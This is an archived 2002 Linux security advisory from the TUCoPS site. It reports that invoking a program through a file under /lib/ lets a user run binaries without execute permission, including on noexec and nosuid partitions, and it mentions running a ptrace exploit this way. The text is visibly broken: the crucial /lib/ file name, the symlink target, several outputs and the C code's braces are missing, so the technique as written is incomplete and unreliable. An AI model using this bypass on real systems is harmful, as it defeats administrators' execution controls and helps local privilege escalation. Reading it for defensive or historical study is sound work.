Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Linux :: General :: lnx5304.htm

Lib allows access to restricted files
23th Apr 2002 [SBWID-5304]

	Lib allows access to restricted files


	Tested on  Red  Hat  Linux  7.2  (2.4.18  kernel  with  grsecurity-1.9.4


	Dan Sabau says :

	lrwxrwxrwx    1 root     root           11 Apr 15 12:01 /lib/ ->


	This file gives users the ability of running binaries on witch the  user
	doesn\'t have the permission to execute,  it  is  enough  to  have  read
	ability on the file in order to execute it:

	-rwxr-xr--    1 root     root        45948 Aug  9  2001 /bin/ls


	but using the /lib/ file i can execute the ls command:

	[08:51:36][draven@Zero:~]:$/lib/ /bin/ls /

	bin   bzImage   bzImage3  bzImage5  dev  home    lib   mnt  proc  sbin  


	boot  bzImage2  bzImage4  bzImage6  etc  initrd  misc  opt  root  tmp   



	i do not have root preveleges on this account:


	uid=1000(draven) gid=10(wheel) groups=10(wheel),16(trust)


	The most interesting part is  running  binaries  on  partitions  mounted
	with noexec, lets take this partition:

	/dev/sda9 on /home/friends type ext2 



	i\'ve created a shell acount with the home directory:

	[mjj@Zero mjj]$ pwd



	and wrote this C code in a file test.c

	#include <stdio.h>

	void main(void)


	        printf (\"Test\");



	i\'ve compiled it & tryed to run:

	[mjj@Zero mjj]$ ./a.out

	bash: ./a.out: Permission denied


	but when i try to run it with /lib/


	[mjj@Zero mjj]$ /lib/ ./a.out



	the important thing is to include a full path in the binary name  to  be
	able to execute it. in the same way i\'ve  managed  to  run  the  ptrace
	exploit on a nosuid partition


	None yet.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH